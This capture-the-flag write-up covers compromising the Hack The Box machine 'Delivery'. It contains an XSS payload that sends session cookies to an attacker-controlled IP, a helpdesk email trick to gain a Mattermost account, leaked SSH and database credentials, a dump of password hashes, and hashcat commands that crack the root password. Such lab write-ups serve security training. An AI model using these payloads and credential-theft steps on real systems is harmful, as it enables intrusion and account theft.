# Delivery

## Recon

`nmap -sV -T4 -p- 10.10.10.222`

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http    nginx 1.14.2
```

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadoSIHFNH3Xmk6SJX8%2Fd19986c0d5204e72993216b2f50db675.png?alt=media\&token=47420e04-74b1-453b-91ba-9c243c70d874)

From the website, there are two links:

* `http://delivery.htb:8065/`
* `http://helpdesk.delivery.htb/`

Add the following to the `/etc/hosts` file:

```
10.10.10.222    delivery.htb
10.10.10.222    helpdesk.delivery.htb
```

Note the information here:

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadpE7ickx7kRF0AkNo%2F20186eb6df5f41e69dead7458d71b607.png?alt=media\&token=9277175e-1036-459a-9588-68fa91ec7751)

We don't have a `@delivery.htb` account, so we won't be able to access the MatterMost server just yet.

### helpdesk.delivery.htb

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadpHa3uYw6KtLtlYQa%2F84c2e5f591344edebb84c8686a72a2e9.png?alt=media\&token=8a9cfe5b-c588-4d0b-b72e-494b6534cdbb)

When submitting a ticket, the system is vulnerable to XSS.

#### 1st Try: Cookie Stealing

```javascript
<script> var i = new Image(); i.src = "http://10.10.14.16/log.php?q=" + escape(document.cookie); </script>
```

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadpLW1h49cY7ntLxS0%2Fbab1ba1f14ec4f029a48a48b04b93043.png?alt=media\&token=343d4aa7-7f61-4959-aff1-d10f60d1419f)

Unfortunately this doesn't work, anything with `<script></script>` is removed.

#### 2nd Try: Look Closer

Note that after creating a ticket, it says:

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadpPEAFBGqCZrJ5lbR%2Ff7f06910bf8d49668c8136fe78e821ef.png?alt=media\&token=fe9862cd-ac80-426b-ac41-4a1bfe5d4680)

**"If you want to add more information... just email ..."**

So does this email simply forward everything it receives to the ticket?

### delivery.htb:8065

This is a MatterMost server. I went ahead and created an account with <7317917@delivery.htb> as the email address. This was previously not possible because

1. We needed a `@delivery.htb` email and
2. We needed email verification

The email does indeed forward everything to the ticket content:

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madpa6zF9Fy-qUsccmx%2F9447f230a5ae4cefadf7b4027efb8b5e.png?alt=media\&token=761f11cf-7a23-4337-8a68-d71dc984cb87)

By navigating to the link in the email, we can verify our account.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadpmF4mAUCq0SmlMBL%2F2011926309f24af2a4808fb5d338f14e.png?alt=media\&token=d7fb77e9-aaeb-4208-9618-a26dc4ef2189)

And we can log in to view some sensitive information:

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadpopSsCd15VkBYm5U%2F4a04ed6e3b6047f89bcdab46015abc20.png?alt=media\&token=426b6a48-0aab-437f-ba22-24645d01073f)

## Foothold

We can use the `maildeliverer:Youve_G0t_Mail!` credential combination to authenticate and obtain SSH access to the server.

### User Flag

Right after we authenticate in, we are greeted by the `user.txt` flag.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadprxiF7HeRtTQQp6y%2F761ea34c6f24408faa5207350e4fe1ac.png?alt=media\&token=cfc92685-7d63-4ef5-806a-7754ee3e1f19)

## Privesc

After a bit of exploring:

`cat /opt/mattermost/config/config.json`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadpuSeZGX3X5eoxDFI%2F06beae2c860647c9abf079cfcfde1ae0.png?alt=media\&token=431aee26-e31f-4d67-b4b6-59d8cdc00ea5)

Under the `SqlSettings`, the `mmuser:Crack_The_MM_Admin_PW` is used for the `mysql` database credentials. We can login to the 'local' MariaDB server:

`mysql -u mmuser -p` (`-u USERNAME -p`, then enter the password when prompted)

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-MadpxoCas44QnA70Yhd%2F24faaf43edfe4a72a03604a8c5c4339d.png?alt=media\&token=12eed8f5-c903-4780-82e0-74e58399bbd1)

### MariaDB

`SHOW DATABASES;`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madq-tJVHqbICrickXW%2F88eab6e89c7a4523ad792e4d04eba992.png?alt=media\&token=3eb0bfe2-de36-41e8-b4bf-5bcaae09fbb6)

Use the `mattermost` database: `USE mattermost;`

Dump `mattermost.Users` table: `SELECT * FROM Users;`

I copied this into a text file.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madq2MxDH_hTEE5RG4c%2Fdb8a3659e5494590afff3f05dd698060.png?alt=media\&token=542a0a3a-4d63-4cd0-a760-2b8ff6149f31)

Compile the password hashes into a `users.hash` file:

```
$2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK
$2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO
$2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq
$2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm
```

Remember the message in the MatterMost channel earlier? Most of these passwords should be variations of "PleaseSubscribe!"

We were also hinted to use hashcat rules.

Result of Googling: <https://www.4armed.com/blog/hashcat-rule-based-attack/>

Rules file: `cp /usr/share/hashcat/rules/best64.rule rules`

Running hashcat on my host MacOS: `hashcat -m 3200 users.hash wordlist -r rules` (since hashcat requires a *GPU*)

Show cracked hash: `hashcat -m 3200 users.hash --show`

```
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21
```

Cross-checking with the `users.hash` file, the `root` password is `PleaseSubscribe!21`.

### Root Flag

From the `maildeliverer` bash shell: `su`, then use the `PleaseSubscribe!21` password.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-MadfalZSxAu1zpUubA2%2F-Madq6UZq89aXbuyDWNL%2Fa4ef0c0551c342cebe25862839fb6a03.png?alt=media\&token=bb943eb3-fd02-43c0-8c93-6f2f740d7a55)
